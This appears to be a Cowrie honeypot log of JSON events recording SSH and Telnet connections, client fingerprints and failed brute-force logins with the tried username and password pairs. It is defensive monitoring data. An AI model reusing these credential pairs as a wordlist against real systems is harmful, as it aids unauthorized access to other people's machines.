{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:04.500941Z","src_ip":"113.161.222.150","session":"4e0852a9f448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:05.533408Z","src_ip":"113.161.222.150","session":"4e0852a9f448","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:05.991084Z","src_ip":"8.210.75.243","session":"5052646eb5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:05.995046Z","src_ip":"8.210.75.243","session":"5052646eb5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:06.781370Z","src_ip":"113.161.222.150","session":"4e0852a9f448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0cb1f1a746","protocol":"ssh","message":"New connection: 45.94.68.69:56374 (159.203.135.109:22) [session: 2f0cb1f1a746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:08.992931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:08.997953Z","src_ip":"45.94.68.69","session":"2f0cb1f1a746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:09.214237Z","src_ip":"45.94.68.69","session":"2f0cb1f1a746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxCDE#","message":"login attempt [root/zaq12wsxCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:10.107278Z","src_ip":"45.94.68.69","session":"2f0cb1f1a746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.00393772125244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:11.001825Z","src_ip":"170.64.224.25","session":"73d964a87b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:11.323940Z","src_ip":"45.94.68.69","session":"2f0cb1f1a746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":57332,"dst_ip":"10.17.0.5","dst_port":22,"session":"da67a5c2f7cd","protocol":"ssh","message":"New connection: 162.241.129.208:57332 (10.17.0.5:22) [session: da67a5c2f7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:13.347748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:13.352019Z","src_ip":"162.241.129.208","session":"da67a5c2f7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:13.377257Z","src_ip":"162.241.129.208","session":"da67a5c2f7cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk123","message":"login attempt [root/strk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:13.453363Z","src_ip":"162.241.129.208","session":"da67a5c2f7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:14.481159Z","src_ip":"162.241.129.208","session":"da67a5c2f7cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":40150,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9c984886390","protocol":"ssh","message":"New connection: 190.244.39.224:40150 (159.203.135.109:22) [session: d9c984886390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:17.656320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:17.660651Z","src_ip":"190.244.39.224","session":"d9c984886390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:17.829897Z","src_ip":"190.244.39.224","session":"d9c984886390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anil","message":"login attempt [root/anil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:18.558911Z","src_ip":"190.244.39.224","session":"d9c984886390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:19.733473Z","src_ip":"190.244.39.224","session":"d9c984886390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2488,"dst_ip":"159.203.135.109","dst_port":22,"session":"199b37681f19","protocol":"ssh","message":"New connection: 196.188.93.169:2488 (159.203.135.109:22) [session: 199b37681f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:19.763897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:19.767994Z","src_ip":"196.188.93.169","session":"199b37681f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:19.937840Z","src_ip":"196.188.93.169","session":"199b37681f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin234","message":"login attempt [root/Admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:20.656348Z","src_ip":"196.188.93.169","session":"199b37681f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:21.830011Z","src_ip":"196.188.93.169","session":"199b37681f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":54330,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8cefd4c54e3","protocol":"ssh","message":"New connection: 163.7.1.218:54330 (10.17.0.5:22) [session: b8cefd4c54e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:22.575786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:22.579607Z","src_ip":"163.7.1.218","session":"b8cefd4c54e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:22.834385Z","src_ip":"163.7.1.218","session":"b8cefd4c54e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123123.","message":"login attempt [root/abc123123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:23.890797Z","src_ip":"163.7.1.218","session":"b8cefd4c54e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:23.951370Z","src_ip":"8.210.75.243","session":"5052646eb5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:25.149292Z","src_ip":"163.7.1.218","session":"b8cefd4c54e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":35484,"dst_ip":"10.17.0.5","dst_port":22,"session":"c372a44f4c66","protocol":"ssh","message":"New connection: 152.53.185.81:35484 (10.17.0.5:22) [session: c372a44f4c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:28.629264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:28.633011Z","src_ip":"152.53.185.81","session":"c372a44f4c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:28.721216Z","src_ip":"152.53.185.81","session":"c372a44f4c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miner1324","message":"login attempt [root/miner1324] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:29.113446Z","src_ip":"152.53.185.81","session":"c372a44f4c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.0","message":"Connection lost after 45.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:29.712102Z","src_ip":"8.210.75.243","session":"5052646eb5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:30.204065Z","src_ip":"152.53.185.81","session":"c372a44f4c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":59368,"dst_ip":"159.203.135.109","dst_port":22,"session":"da909d58b5d5","protocol":"ssh","message":"New connection: 103.199.16.90:59368 (159.203.135.109:22) [session: da909d58b5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:32.635607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:32.641643Z","src_ip":"103.199.16.90","session":"da909d58b5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:32.863212Z","src_ip":"103.199.16.90","session":"da909d58b5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cashier","password":"cashier","message":"login attempt [cashier/cashier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:33.756088Z","src_ip":"103.199.16.90","session":"da909d58b5d5","protocol":"ssh"}
